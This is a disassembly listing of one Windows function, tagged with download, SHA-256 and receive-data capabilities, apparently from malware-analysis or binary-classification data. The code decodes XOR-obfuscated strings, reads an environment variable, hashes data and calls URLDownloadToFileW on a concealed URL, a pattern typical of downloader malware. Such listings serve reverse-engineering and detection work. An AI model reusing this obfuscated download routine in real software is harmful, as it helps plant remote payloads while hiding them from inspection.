Function at 0x140008910
Capabilities:
Download url
Hash data using sha256
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x200
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xor r15d, r15d
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], 7
mov word [rbp + 0xd0], r15w
movabs rax, 0xd6575608df717791
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs r12, 0x6de4984c16dddd76
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
movabs r13, 0xd6075645df3477c5
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__wgetenv]
test rax, rax
je 0x140008a3a
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [rax + rdx*2], 0
jne 0x1400089e2
mov rcx, qword [rbp + 0xe8]
cmp rdx, rcx
ja 0x140008a2b
lea rdi, [rbp + 0xd0]
cmp rcx, 7
cmova rdi, qword [rbp + 0xd0]
mov qword [rbp + 0xe0], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + rbx], r15w
jmp 0x140008a3a
mov r9, rax
lea rcx, [rbp + 0xd0]
call fcn.140009e90
mov dword [rbp + 0x80], r15d
mov dword [rbp + 0x90], 0x6a09e667
mov dword [rbp + 0x94], 0xbb67ae85
mov dword [rbp + 0x98], 0x3c6ef372
mov dword [rbp + 0x9c], 0xa54ff53a
mov dword [rbp + 0xa0], 0x510e527f
mov dword [rbp + 0xa4], 0x9b05688c
mov dword [rbp + 0xa8], 0x1f83d9ab
mov dword [rbp + 0xac], 0x5be0cd19
mov byte [rbp + 0x40], 0x80
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x41], xmm0
movups xmmword [rbp + 0x51], xmm0
movups xmmword [rbp + 0x61], xmm0
mov dword [rbp + 0x71], ecx
mov word [rbp + 0x75], cx
mov byte [rbp + 0x77], cl
lea edx, [r15*8]
add rdx, r15
mov qword [rbp + 0x88], rdx
mov byte [rbp + 0x7f], dl
mov rax, rdx
shr rax, 8
mov byte [rbp + 0x7e], al
mov rax, rdx
shr rax, 0x10
mov byte [rbp + 0x7d], al
mov rax, rdx
shr rax, 0x18
mov byte [rbp + 0x7c], al
mov rax, rdx
shr rax, 0x20
mov byte [rbp + 0x7b], al
mov rax, rdx
shr rax, 0x28
mov byte [rbp + 0x7a], al
mov rax, rdx
shr rax, 0x30
mov byte [rbp + 0x79], al
shr rdx, 0x38
mov byte [rbp + 0x78], dl
lea rcx, [rbp + 0x40]
call fcn.14000a070
movabs rax, 0xd6775631df4077ad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x6dcb986316e7dd05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x1a1f685c027f9b5c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0x5b476dc0dce4f81c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0xfe3ed73d31966be7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xd73161fa4bf0ca5e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0xe106ccc700f8055b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rcx, 0x652b15f6a17dd95c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs r14, 0x1a6d683302179b2f
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rsi, 0x5b2b6db2dc91f868
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rdi, 0xfe11d74931f76bc9
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rbx, 0xd75861804b84ca0a
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
movabs rax, 0xe106ccc700f80533
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x190], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x198], rax
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x140], ymm1
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xf0]
vzeroupper
call fcn.140002be0
nop
movabs rax, 0xd6645620df677799
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0x6dc4982916afdd03
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs rax, 0x1a1f684702729b62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
movabs rax, 0x5b056dc1dcf2f801
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
movabs rax, 0xfe3fd72c318f6bac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
movabs rax, 0xd75861e34beaca6f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x188], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0x160], ymm1
vmovdqa xmm0, xmmword [rbp + 0x180]
vxorps xmm0, xmm0, xmmword [rbp + 0x140]
vmovdqa xmmword [rbp + 0x180], xmm0
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x20]
vzeroupper
call fcn.140009af0
nop
mov rax, qword [rbp + 0x30]
lea rdi, [rax + rax]
lea rsi, [rbp + 0x20]
mov r12, qword [rbp + 0x20]
mov r13, qword [rbp + 0x38]
cmp r13, 7
cmova rsi, r12
mov rbx, r15
mov ecx, dword [rbp + 0x80]
test rdi, rdi
je 0x140008e70
nop
movzx eax, byte [rbx + rsi]
mov byte [rbp + rcx + 0x40], al
mov ecx, dword [rbp + 0x80]
inc ecx
mov dword [rbp + 0x80], ecx
cmp ecx, 0x40
jne 0x140008e68
lea rcx, [rbp + 0x40]
call fcn.14000a070
add qword [rbp + 0x88], 0x200
mov ecx, r15d
mov dword [rbp + 0x80], ecx
inc rbx
cmp rbx, rdi
jb 0x140008e30
mov rax, qword [rbp + 0x100]
lea rsi, [rax + rax]
lea rdi, [rbp + 0xf0]
mov r14, qword [rbp + 0xf0]
mov r15, qword [rbp + 0x108]
cmp r15, 7
cmova rdi, r14
xor ebx, ebx
test rsi, rsi
je 0x140008edf
nop
movzx eax, byte [rbx + rdi]
mov byte [rbp + rcx + 0x40], al
mov ecx, dword [rbp + 0x80]
inc ecx
mov dword [rbp + 0x80], ecx
cmp ecx, 0x40
jne 0x140008ed7
lea rcx, [rbp + 0x40]
call fcn.14000a070
add qword [rbp + 0x88], 0x200
xor ecx, ecx
mov dword [rbp + 0x80], ecx
inc rbx
cmp rbx, rsi
jb 0x140008ea0
lea r8, [rbp + 0x20]
cmp r13, 7
cmova r8, r12
lea rdx, [rbp + 0xf0]
cmp r15, 7
cmova rdx, r14
xor r14d, r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
mov rdi, qword [rbp + 0x30]
lea rsi, [rbp + 0x20]
cmp qword [rbp + 0x38], 7
cmova rsi, qword [rbp + 0x20]
movabs rbx, 0x7ffffffffffffffe
cmp rdi, rbx
ja 0x1400091bc
cmp rdi, 7
ja 0x140008f6e
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], 7
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0xb0], xmm0
jmp 0x14000901e
mov rax, rdi
or rax, 7
cmp rax, rbx
jbe 0x140008fc0
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140008ff0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400091c2
mov rcx, rax
call fcn.14000a320
mov rcx, rax
test rax, rax
je 0x140009068
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140008ff5
mov rbx, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400091c2
add rcx, rcx
jne 0x140008f88
mov rax, r14
jmp 0x140008ff5
call fcn.14000a320
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], rbx
lea r8, [rdi*2 + 2]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rcx, [rbp + 0xb0]
call fcn.140001290
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 7
jbe 0x140009074
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000906f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000906f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a364
movdqa xmm0, xmmword [0x14000d760]
movdqu xmmword [rbp + 0xc0], xmm0
mov word [rbp + 0xb0], r14w
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x1400090cf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400090ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400090ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a364
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], 7
mov word [rbp + 0x20], r14w
mov rdx, qword [rbp + 0x108]
cmp rdx, 7
jbe 0x140009129
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009124
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009124
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a364
mov qword [rbp + 0x100], r14
mov qword [rbp + 0x108], 7
mov word [rbp + 0xf0], r14w
mov rdx, qword [rbp + 0xe8]
cmp rdx, 7
jbe 0x14000918c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009187
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009187
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a364
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.14000a300
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3